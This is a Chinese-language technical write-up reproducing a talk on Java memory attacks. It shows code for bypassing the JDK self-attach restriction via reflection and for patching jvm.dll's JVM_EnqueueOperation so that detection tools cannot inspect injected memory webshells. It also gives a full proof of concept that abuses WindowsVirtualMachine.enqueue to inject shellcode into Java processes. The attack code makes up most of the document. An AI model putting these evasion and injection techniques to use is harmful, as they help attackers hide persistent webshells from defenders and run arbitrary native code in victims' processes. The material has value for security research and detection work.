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议题解析与复现–《Java内存攻击技术漫谈》(一)

解析与复现议题

Java内存攻击技术漫谈

https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw

allowAttachSelf绕过

在Java9及以后的版本不允许SelfAttach(即无法attach自身的进程),如图

调试一下,发现这里ALLOW_ATTACH_SELF字段设置为false

步入getSavedProperty,最终到ImmitableCollections中的table中去查找allowAttachSelf,找不到,返回空

之后,这里进行了ALLOW_ATTACH_SELF字段的检测,若不为true则抛出异常

这样看来有两种方法对这个检验进行绕过一种是使用反射直接更改HotSpotVirtualMachine中的ALLOW_ATTACH_SELF字段,另一种是想办法在ImmitableCollections中的table中添加jdk.attach.allowAttachSelf。

rebeyond师傅使用的是第一种方法。

Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");field.setAccessible(true);Field modifiersField=Field.class.getDeclaredField("modifiers");modifiersField.setAccessible(true);modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);field.setBoolean(null,true);

这样便完成了allowAttachSelf机制的绕过。

内存马防检测

instrument机制实现类agent内存马的注入,但是也可以实现对内存马进行检测。

这里给出的方法就是注入内存马后将instrument机制破坏的,使其无法检测进程的类字节码等。

以下为instrument的工作流程

1.检测工具作为Client,根据指定的PID,向目标JVM发起attach请求;2.JVM收到请求后,做一些校验(比如上文提到的jdk.attach.allowAttachSelf的校验),校验通过后,会打开一个IPC通道。3.接下来Client会封装一个名为AttachOperation的C++对象,发送给Server端;4.Server端会把Client发过来的AttachOperation对象放入一个队列;5.Server端另外一个线程会从队列中取出AttachOperation对象并解析,然后执行对应的操作,并把执行结果通过IPC通道返回Client。

windows端

现在loadAgent处下断点,步入调试。

步入,执行execute方法

看一下execute方法

InputStream execute(String cmd, Object ... args)throws AgentLoadException, IOException{assert args.length <= 3;        // includes null// create a pipe using a random nameRandom rnd = new Random();int r = rnd.nextInt();String pipeprefix = "\\\\\\\\.\\\\pipe\\\\javatool";String pipename = pipeprefix + r;long hPipe;try {hPipe = createPipe(pipename);//创建pipe管道} catch (IOException ce) {// Retry with another random pipe name.r = rnd.nextInt();pipename = pipeprefix + r;hPipe = createPipe(pipename);}// check if we are detached - in theory it\'s possible that detach is invoked// after this check but before we enqueue the command.if (hProcess == -1) {closePipe(hPipe);throw new IOException("Detached from target VM");}try {// enqueue the command to the processenqueue(hProcess, stub, cmd, pipename, args);//调用enqueue方法....

这个enqueue是native方法。

看一下这个方法的源码

/** Class:     sun_tools_attach_WindowsVirtualMachine* Method:    enqueue* Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V*/JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue(JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,jstring pipename, jobjectArray args){DataBlock data;DataBlock* pData;DWORD* pCode;DWORD stubLen;HANDLE hProcess, hThread;jint argsLen, i;jbyte* stubCode;jboolean isCopy;/** Setup data to copy to target process*/data._GetModuleHandle = _GetModuleHandle;data._GetProcAddress = _GetProcAddress;strcpy(data.jvmLib, "jvm");strcpy(data.func1, "JVM_EnqueueOperation");strcpy(data.func2, "_JVM_EnqueueOperation@20");/** Command and arguments*/jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);argsLen = (*env)->GetArrayLength(env, args);if (argsLen > 0) {if (argsLen > MAX_ARGS) {JNU_ThrowInternalError(env, "Too many arguments");}for (i=0; i<argsLen; i++) {jobject obj = (*env)->GetObjectArrayElement(env, args, i);if (obj == NULL) {data.arg[i][0] = \'\\0\';} else {jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);}if ((*env)->ExceptionOccurred(env)) return;}}for (i=argsLen; i<MAX_ARGS; i++) {data.arg[i][0] = \'\\0\';}/* pipe name */jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);//以上都是参数的转换,从java转化为c/** Allocate memory in target process for data and code stub* (assumed aligned and matches architecture of target process)*/hProcess = (HANDLE)handle;pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );//在目标进程内存分配空间,大小为DataBlockif (pData == NULL) {JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");return;}WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );//将data的内容写入到之前分配的空间stubLen = (DWORD)(*env)->GetArrayLength(env, stub);stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );//在目标进程内存分配空间,大小为stubLenif (pCode == NULL) {JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);return;}WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );////将stubCode的内容写入到之前分配的空间if (isCopy) {(*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);}/** Create thread in target process to execute code*///下面就是去执行目标进程中的代码hThread = CreateRemoteThread( hProcess,NULL,0,(LPTHREAD_START_ROUTINE) pCode,pData,0,NULL );if (hThread != NULL) {if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");} else {DWORD exitCode;GetExitCodeThread(hThread, &exitCode);if (exitCode) {switch (exitCode) {case ERR_OPEN_JVM_FAIL :JNU_ThrowIOException(env,"jvm.dll not loaded by target process");break;case ERR_GET_ENQUEUE_FUNC_FAIL :JNU_ThrowIOException(env,"Unable to enqueue operation: the target VM does not support attach mechanism");break;default :JNU_ThrowInternalError(env,"Remote thread failed for unknown reason");}}}CloseHandle(hThread);} else {if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {//// This error will occur when attaching to a process belonging to// another terminal session. See "Remarks":// http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx//JNU_ThrowIOException(env,"Insufficient memory or insufficient privileges to attach");} else {JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");}}VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);}

这里pcode与pdata值得分析。

pcode是从stub中提取出的在目标程序执行的代码,而pdata是他的参数。

我们来看一下stub,以下是生成stub的方法generateStub

JNIEXPORT jbyteArray JNICALL Java_sun_tools_attach_WindowsVirtualMachine_generateStub(JNIEnv *env, jclass cls){/** We should replace this with a real stub generator at some point*/DWORD len;jbyteArray array;len = (DWORD)((LPBYTE) jvm_attach_thread_func_end - (LPBYTE) jvm_attach_thread_func);//从这里可以看出stub的大小就是jvm_attach_thread_func方法的大小,那么基本上可以确定pcode就是jvm_attach_thread_func方法array= (*env)->NewByteArray(env, (jsize)len);if (array != NULL) {(*env)->SetByteArrayRegion(env, array, 0, (jint)len, (jbyte*)&jvm_attach_thread_func);}return array;}

我们来看一下在服务侧运行的pcode,即jvm_attach_thread_func

DWORD WINAPI jvm_attach_thread_func(DataBlock *pData){HINSTANCE h;EnqueueOperationFunc addr;h = pData->_GetModuleHandle(pData->jvmLib);//jvmLib=jvmif (h == NULL) {return ERR_OPEN_JVM_FAIL;}addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func1));//func1=JVM_EnqueueOperationif (addr == NULL) {addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func2));//func2=_JVM_EnqueueOperation@20}if (addr == NULL) {return ERR_GET_ENQUEUE_FUNC_FAIL;}/* "null" command - does nothing in the target VM */if (pData->cmd[0] == \'\\0\') {return 0;} else {return (*addr)(pData->cmd, pData->arg[0], pData->arg[1], pData->arg[2], pData->pipename);//执行指定func1或func2}}

我们来梳理一下整个流程

现在看来只要将jvmLib导出的两个函数JVM_EnqueueOperation和_JVM_EnqueueOperation@20 NOP掉即可完成instrument流程的破坏。

来看一下rebeyond师傅的处理方法

用JNI,核心代码如下:unsigned char buf[]="\\xc2\\x14\\x00"; //32,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);}/*unsigned char buf[]="\\xc3"; //64,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOIDdst=GetProcAddress(hModule,"JVM_EnqueueOperation");//printf("ConnectNamedPipe:%p",dst);DWORD old;if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);}*/

JNI 入门教程 | 菜鸟教程 (runoob.com)

复现踩坑记录

​ 这里注意生成dll的平台要与运行java程序的平台相同,否则可能会不兼容。

​ 直接运行native方法可以运行,但是一旦使用agent attch到目标进程就会出现Can\’t find dependent libraries问题。发现是生成dll使用的项目出错,需要使用动态dll链接库

具体代码:

dll生成代码

#include "pch.h"#include "Inst.h"#include "killinst.h"JNIEXPORT void JNICALL Java_killinst_testHello(JNIEnv*, jobject) {printf("hello");}/** Class:     killinst* Method:    defendinst* Signature: ()V*/JNIEXPORT void JNICALL Java_killinst_defendinst(JNIEnv*, jobject) {unsigned char buf[] = "\\xc3"; //64,direct return enqueue functionHINSTANCE hModule = LoadLibrary(L"jvm.dll");//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");LPVOID dst = GetProcAddress(hModule, "JVM_EnqueueOperation");printf("JVM_EnqueueOperation:%p", dst);DWORD old;if (VirtualProtectEx(GetCurrentProcess(), dst, 1, PAGE_EXECUTE_READWRITE, &old)) {WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);}}

java代码

public class killinst {public native void testHello();public native void defendinst();}

调用dll代码

System.load("C://Users//xyy//source//repos//INST//x64//Release//INST.dll");killinst killinst = new killinst();killinst.testHello();killinst.defendinst();

成功使得attach失败

linux端

在Linux平台上,IPC通信采用的是UNIX Domain Socket,因此想破坏Linux平台下的instrument attach流程还是比较简单的,只要把对应的UNIX Domain Socket文件删掉就可以了。删掉后,我们尝试对目标JVM进行attach,便会提示无法attach

Java原生进程注入(可以pop calc ,注入木马等)

之前在防检测的时候,我们发现了enqueue方法。

结合之前的分析enqueue使用stub给目标注入了特定的代码并createRemoteThread执行代码。

本来的stub是执行一个将AttachOperation的操作,由native生成,但是stub是作为参数传入enqueue函数的,因此可以通过反射来改变stub参数,利用enqueue方法实现在目标进程注入特定代码。

附上rebeyond师傅的poc:

import java.lang.reflect.Method;public class ThreadMain   {    public static void main(String[] args) throws Exception {        System.loadLibrary("attach");Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");for (Method m:cls.getDeclaredMethods()){if (m.getName().equals("enqueue")){long hProcess=-1;//hProcess=getHandleByPid(30244);byte buf[] = new byte[]   //pop calc.exe{(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00                        };String cmd="load";String pipeName="test";m.setAccessible(true);Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});System.out.println("result:"+result);            }}Thread.sleep(4000);}public static long getHandleByPid(int pid){Class cls= null;long hProcess=-1;try {cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");for (Method m:cls.getDeclaredMethods()) {if (m.getName().equals("openProcess")){m.setAccessible(true);Object result=m.invoke(cls,pid);System.out.println("pid :"+result);                    hProcess=Long.parseLong(result.toString());}}} catch (Exception e) {e.printStackTrace();}return hProcess;    }}

成功注入

我们实现了Windows平台上的Java远程进程注入。另外,这个技术还有个额外效果,那就是当注入进程的PID设置为-1的时候,可以往当前Java进程注入任意Native代码,以实现不用JNI执行任意Native代码的效果。这样就不需要再单独编写JNI库来执行Native代码了,也就是说,上文提到的内存马防检测机制,不需要依赖JNI,只要纯Java代码也可以实现。
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